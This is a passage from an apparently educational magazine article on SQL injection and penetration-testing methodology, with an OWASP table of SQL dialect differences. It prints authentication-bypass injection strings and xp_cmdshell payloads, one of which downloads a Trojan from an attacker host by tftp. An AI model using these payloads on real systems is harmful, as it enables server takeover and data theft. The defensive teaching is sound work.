

a halfway measure because there are always numeric fields or dates within forms or parameters, which will still remain vulnerable just like the example shown below, using PHP/MySQL, which takes a query that uses no single quotes as part of the syntax.

```
$a = "SELECT * FROM accounts WHERE account = $acct AND pin = $pin";
```

Now, the attacker injects, into the HTML form fields meant to accept numbers, as `$acct= a or a=a # $pin = 1234`. The resultant query would be like the following:

```
SELECT * FROM accounts WHERE account = a or a=a AND pin = 1234
```

(In this case, the comment character is `#` instead of the double dash because the database is MySQL. Other such strings used by attackers are `' or a=a--`, `' or 'x'='x`, `1' or '1'='1`, `' or 0=0 #`, `" or "a"="a`, `' ) or ('a'='a`), etc. Notice the power of single quotes in such strings.

Running system commands on SQL Server

By attacking an SQL Server, an attacker can also gather IP address information through reverse lookups, by running system commands. For example (*a.b.c.d* represents the attacker's IP address):

```
'EXEC master..xp_cmdshell "nslookup example.com a.b.c.d"
```

When this fragment is injected, the SQL back-end will now execute an *nslookup* using the attacker's system as the name server. Attackers can use multiple methods, including a network sniffer like *tcpdump*, on their box, to find the IP address that made the DNS query. If it is a public IP address, the attackers have gained crucial information: they can then compile and launch exploits against that IP address, which are tailored to the operating system and database software.

It is sometimes possible, even if the SQL Server machine doesn't have a public IP address, that an attacker can download a Trojan or backdoor program onto the SQL Server (*a.b.c.d* is the IP address of a server hosting the malware program):

```
'EXEC master..xp_cmdshell "tftp -i a.b.c.d GET Trojan.exe c:\Trojan.exe"
```

The downloaded program could be launched with another *xp_cmdshell* invocation. It could do many things at this point, including connecting outward to the attacker's IP address, to provide the attacker with a direct channel to command the server operating system. If the SQL Server software is running as the Windows Administrator user, which is an all too common shortcut that people take when installing—then the attackers now effectively 'own' the server. They can then transfer files from the server, using

Some differences

	MS SQL T-SQL	MS SQL	Access	Oracle PL/SQL	DB2	Postgres PL/pgSQL
Concatenate Strings	++ + ++	Concat ('" , "')	"" & ""	++ ++	"" + ""	++ ++
Null replace	IsNull()	Ifnull()	IsNull()	Ifnull()	Ifnull()	COALESCE()
Position	CHARINDEX	LOCATE()	InStr()	InStr()	InStr()	TEXTPOS()
Op Sys interaction	xp_cmdshell	Select into outfile/ dumpfile	#date#	utf_file	import from export to	Call
Cast	Yes	No	No	No	Yes	Yes

Figure 4: OWASP table of SQL dialect differences

tftp, which could include confidential, financial or even system password files.

More than that, the attackers are now 'inside' the private network—they can locally access other systems on the LAN, and try to break into them, something that they could not do directly because the LAN was protected by a firewall blocking connections from the Internet, except for proper requests like HTTP/HTTPS to the Web server.

If you want more practical examples of this attack vector, there are a whole bunch of videos available on YouTube and Metacafe. **I would like to reiterate here that neither I nor LFY aims to teach readers to attack servers; this is meant to give you knowledge that you need in order to protect your own infrastructure.**

Penetration-testing for the SQL injection vulnerability

Let's take a look at the methodology adopted by many penetration testers to check for SQL injection vulnerability.

Scanning for entry points

This initial stage is to find vulnerable entry points such as fields in entry forms, values stored in cookies, and hidden fields. For this, the *fuzzing* technique is used to send specific string combinations with SQL characters and words. An unexpected error response, or a change in application behaviour, indicates a vulnerable point that may afford an attacker entry.

"Fuzzing"

Fuzzing is an automated software testing technique that provides invalid, unexpected data as input to the application. If the application responds unexpectedly, or shows reduced performance, it can be noted for further action.